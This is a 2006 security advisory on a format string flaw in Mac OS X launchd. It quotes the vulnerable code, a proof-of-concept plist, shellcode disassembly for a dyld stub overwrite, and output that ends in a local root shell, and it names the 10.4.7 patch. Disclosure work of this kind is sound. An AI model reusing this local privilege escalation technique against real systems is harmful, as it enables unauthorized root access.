DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability' Author: Kevin Finisterre Vendor: http://www.apple.com/ Product: 'Mac OSX <=10.4.6' References: http://www.digitalmunition.com/NonExecutableLovin.txt http://www.digitalmunition.com/dyld_stub_overwrites.tar.gz http://www.digitalmunition.com/DMA[2006-0628a].txt http://www.apple.com/support/downloads/macosxupdate1047intel.html Description: In Mac OS X v10.4 Tiger, Apple introduced a new system startup program called launchd. The launchd daemon takes over many tasks from cron, xinetd, mach_init, and init, which are UNIX programs that traditionally have handled system initialization, called systems scripts, run startup items, and generally prepared the system for the user. The following chunk of code provides a facility for launchd to send messages to the syslog daemon. For some reason a blatantly obvious format string issue has remained in the codebase since it was originally created. In the snippet below you can see that syslog() is called without a format specifier. void CF_syslog(int level, CFStringRef message,...) { char buf[8192]; CFStringRef cooked_msg; va_list ap; va_start(ap, message); cooked_msg = CFStringCreateWithFormatAndArguments(NULL, NULL, message, ap); va_end(ap); if (CFStringGetCString(cooked_msg, buf, sizeof(buf), kCFStringEncodingUTF8)) syslog(level, buf); CFRelease(cooked_msg); } Because of this error it is possible to call CF_syslog() with user supplied data that will in turn be passed to an unformatted syslog() call. With the aid of a malformed plist file we can demonstrate the issue quite easily. k-fs-ibook:~/Library/LaunchAgents kf$ cat com.formatstring.plist Label AAAA.%x.%x.%x.%x ProgramArguments pwnedertino RunAtLoad k-fs-ibook:~/Library/LaunchAgents kf$ launchctl load -w ./com.formatstring.plist k-fs-ibook:~/Library/LaunchAgents kf$ launchd[1511]: AAAA.bffffc20.1.0.357b: execve(): No such file or directory The paper 'Non eXecutable Stack Lovin on OSX86' was written during my early attempts at exploiting /sbin/launchd. The technique used below is identical to what was outlined in the paper. In our exploit we overwrite the dyld_stub for close() and point it at the heap where we have placed shellcode to call seteuid(0) and then to execve() /tmp/sh. Since /bin/sh drops privs a simple wrapper is used to take full blown root. (gdb) x/2i dyld_stub_close 0xa0011163 : mov $0x1811111,%eax 0xa0011168 : jmp *%eax (gdb) x/17i 0x1811111 Launchd makes multiple calls to both seteuid(getuid()) and seteuid(0)... thanks for saving a lil root lovin for me. 0x1811111: xor %eax,%eax 0x1811113: push %eax 0x1811114: push %eax 0x1811115: mov $0xb7,%al 0x1811117: int $0x80 This is just nemos execve() using /tmp/sh. 0x1811119: xor %eax,%eax 0x181111b: push %eax 0x181111c: push $0x68732f2f 0x1811121: push $0x706d742f 0x1811126: mov %esp,%ebx 0x1811128: push %eax 0x1811129: push %esp 0x181112a: push %esp 0x181112b: push %ebx 0x181112c: push %ebx 0x181112d: mov $0x3b,%al 0x181112f: int $0x80 After everything is layed out properly we can kick back and enjoy our root shell ala http://www.digitalmunition.com/FailureToLaunch.pl k-fs-computer:~ kf$ ./FailureToLaunch.pl open a new window and type - "launchctl load ./com.pwnage.plist" launchd[5509]: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000-000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ... sh-2.05b# id uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin) Work Around: Install 10.4.7 update http://www.apple.com/support/downloads/